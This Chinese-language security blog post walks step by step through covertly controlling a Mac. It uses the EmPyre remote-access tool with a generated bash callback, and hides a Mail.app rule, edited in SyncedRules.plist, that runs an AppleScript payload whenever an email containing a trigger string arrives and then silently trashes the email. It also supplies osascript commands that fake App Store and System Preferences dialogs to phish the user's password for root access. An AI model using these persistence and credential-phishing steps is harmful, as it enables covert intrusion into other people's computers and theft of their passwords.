t015e3e83323fc35ce6.jpg


关于木马稳定控制Mac,有很多种方式,今天跟大家探讨一个通过email稳定控制Mac的方式。网上有一些介绍的文章,但是坑多,现将本人测试经验整理,共同学习。

文章整体分为三个部分,第一部分简单介绍远控工具,第二部分介绍如何通过email去启动木马,第三部分关于全版本MacOS适用的提权


一、远控


使用Empyre,纯python的渗透工具,使用完全类似于Empire

1
2
3
git clone https://github.com/adaptivethreat/EmPyre.git
cd EmPyre
python empyre

设置Linsteners

1
2
Listeners
run         //本次测试使用默认地址,根据情况更改配置

生成回连脚本

1
2
3
usestarger bash
set Listener test   // 设置好的listeners名字
generate

http://p4.qhimg.com/t014084bd746e4cf00f.jpg

至此,远控回连设置完毕

关于mac平台的远控的选择,还可以选择其他多种工具,像JS-Rat 等等等。。。因为MacOS支持各多种脚本的运行,像javascript,python 等。或者就最简单的反弹一个shell回来,类Unix平台的控制程序多种多样,根据自己情况先择就好。


二、启动


MacOS自带的Mail.APP

http://p4.qhimg.com/t017e7375174b382fe9.jpg

有一个添加规则的功能,触发后可以执行脚本,具体步骤如下:

依次点击  邮件-偏好设置-规则-添加规则,就可以按照常规方式添加规则

http://p3.qhimg.com/t0117980a8373a9d417.jpg

然后选择合适的触发规则

http://p2.qhimg.com/t01b859ea7f6708567a.jpg

最后选择触发后的行为

http://p0.qhimg.com/t018170c0b270d82c56.jpg

触发后执行的AppleScript 为script.scpt文件,必须位于:

1
/Users/$USER/Library/Application Scripts/com.apple.mail/

文件夹中,并且以scpt后缀

为了便于隐藏,推荐直接修改配置文件,设置规则。在配置文件上修改应用的规则不会显示到GUI界面,有较强的隐蔽性。

邮件规则存储文件:

1
/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist

“$USER”就是目标用户的用户名称,“$VERSION”是相应的版本号,版本对应如下:

1
2
3
4
MacOS Sierra (10.12)V4
OS X El Capitan (10.11)V3
OS X Lion (10.7)V2
OS X Yosemite (10.10)V2

如果机器开启了iCloud同步,那么规则将会被存储到另一位文件中,位于:

1
/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist

需要注意的是该文件比上一个的文件有高优先级,并且新规则在Mail.APP重启之后生效。

以下是规则文件中内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<plist version="1.0">
<array>
    <dict>
        <key>AllCriteriaMustBeSatisfied</key>
        <string>NO</string>
        <key>AppleScript</key>
        <string>script.scpt</string>
        <key>AutoResponseType</key>
        <integer>0</integer>
        <key>CopyToMailbox</key>
        <string>Trash</string>
        <key>CopyToMailboxURL</key>
        <string>Trash</string>
        <key>Criteria</key>
            <array>
                <dict>
                    <key>CriterionUniqueId</key>
                    <string>003AC288-64E4-4FA6-99DC-20DDDBA8DDAA</string>
                    <key>Expression</key>
                    <string>test-123</string>
                    <key>Header</key>
                    <string>Body</string>
                </dict>
            </array>
        <key>Deletes</key>
        <string>YES</string>
        <key>HighlightTextUsingColor</key>
        <string>NO</string>
        <key>Mailbox</key>
        <string>Trash</string>
        <key>MailboxURL</key>
        <string>Trash</string>
        <key>MarkFlagged</key>
        <string>NO</string>
        <key>MarkRead</key>
        <string>NO</string>
        <key>NotifyUser</key>
        <string>NO</string>
        <key>RuleId</key>
        <string>63C428FB-2634-4C0C-ACCA-9DA68229BC29</string>
        <key>RuleName</key>
        <string>delete</string>
        <key>SendNotification</key>
        <string>NO</string>
        <key>ShouldCopyMessage</key>
        <string>NO</string>
        <key>ShouldTransferMessage</key>
        <string>NO</string>
        <key>TimeStamp</key>
        <integer>461321588</integer>
        <key>Version</key>
        <integer>1</integer>
        </dict>
</array>
</plist>

代码中的“test-123” 就是触发字符,触发位置设置为“Body”正文中,配置代码如下:

1
2
3
4
<key>Expression</key>
<string>test-123</string>
<key>Header</key>
<string>Body</string>

执行的AppleScript脚本文件名称为script.scpt

1
2
<key>AppleScript</key>
<string>script.scpt</string>

启用这个规则,只需要将“RuleId” 添加到“RulesActiveState.plist” 文件中,例如:

1
2
<key>63C428FB-2634-4C0C-ACCA-9DA68229BC29</key>
<true/>

测试脚本文件内容为:

1
do shell script "date > /Users/$USER/Desktop/test.txt ; "

规则整体的意思就是,收到一封内容中包含字符“test-123”的邮件时,就将邮件扔到垃圾桶中,然后执行系统命令,输出当前时间到桌面的“test.txt”文件中。

至此启动器设置完成,下图为测试效果

http://p6.qhimg.com/t01dd33d029d6bd74e2.jpg

http://p6.qhimg.com/t01dd33d029d6bd74e2.jpg

如果需要启动木马,只需要将脚本文件中引号内容替换为之前Empyre生成的bash脚本,然后一封邮件,done,效果如下图:

http://p0.qhimg.com/t0150510054259c7665.jpg

为了增加隐蔽性,可以添加一些规则

1
2
3
4
5
6
7
8
9
10
<key>MarkRead</key>
<string>YES</string>
<key>CopyToMailbox</key>
<string>Trash</string>
<key>CopyToMailboxURL</key>
<string>Trash</string>
<key>Mailbox</key>
<string>Trash</string>
<key>MailboxURL</key>
<string>Trash</string>

这样收到信件之后会直接标记已读,然后放入废纸篓,就再也不会出现未读提示,效果如下图:

http://p6.qhimg.com/t014a078c23ce7a0965.jpg

这样,触发邮件不会出现在收件箱中,并且在废纸篓中也不会提示未读。至于其中的DELETE,只会将邮件放入废纸篓, 而不是直接删除,没有一个很明确的解释,该功能为什么不能将邮件彻底删除。不知道是不是测试邮箱的问题。有待继续测试。

下一个问题,权限,这时候获取的shell权限不高,如下图:

http://p8.qhimg.com/t01d5e042f5cae59703.jpg

只是用户权限,并不是root权限,下一步,提权。


三、提权


通杀MacOS全部版本的提权方式哦!

关于AppleScript,官方有如下叙述:

AppleScript是由Apple创建的脚本语言。 它允许用户直接控制可编写脚本的Macintosh应用程序,以及macOS本身的一部分。 您可以创建脚本集合的书面指令 - 自动化重复任务,组合来自多个可编写脚本的应用程序的功能,并创建复杂的工作流程。

由于代码功底有限,无法fuzz出MacOS提权漏洞,所以转变思路,只要能获取到用户的密码,就直接能获取root权限。

由于能力有限,直接从MacOS的密码从系统中获取本人无法做到。

最终方案 -- 针对 “人”。

先上几张效果图:

http://p3.qhimg.com/t010ecef7abaef5c32b.jpg

http://p8.qhimg.com/t01a1ed275f1971efe6.jpg

不够酷炫? 不够诱人?还有

http://p0.qhimg.com/t01f3a2f0a40ced75c4.jpg

你就说你输不输入密码!

不输入,就不能继续程序,什么程序都行包括系统程序!

强调下,这是系统设置和Apple Store 弹出的框,并不是手工绘制出现在屏幕上的弹框!

利用系统应用,如 app sotre,系统便好设置 给用户弹框,要求用户输入密码。并且不输入密码无法继续操作App Store 和系统设置。

需要注意的是,输入为空或者随意输入弹框都会消失,经过本人多次测试,将弹框次数增加至2到3次,将会打消用户所有疑虑,第二或者第三次的输入基本就会是系统密码。如果觉得该方案不保险,可以进行以下判断,密码不正确就一直弹框。

目前在多个朋友的Mac系统上测试结果,所有人都输入了密码!!

然后

1
do shell script "command" user name "username" password "password" with administrator privileges

或者其他什么方式

成功获取到root权限

你的电脑,我的权限。

收工!

附脚本:

1
2
3
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store 需要密码才能继续" & return & return  default answer "" with icon 1 with hidden answer with title "App Store"'
osascript -e 'tell app "System Preferences" to display dialog "System Preferences 需要密码才能应用更新" & return & return  default answer "" with icon 1 with hidden answer’
脚本可以随意发挥!

本文由 安全客 原创发布,作者:vodu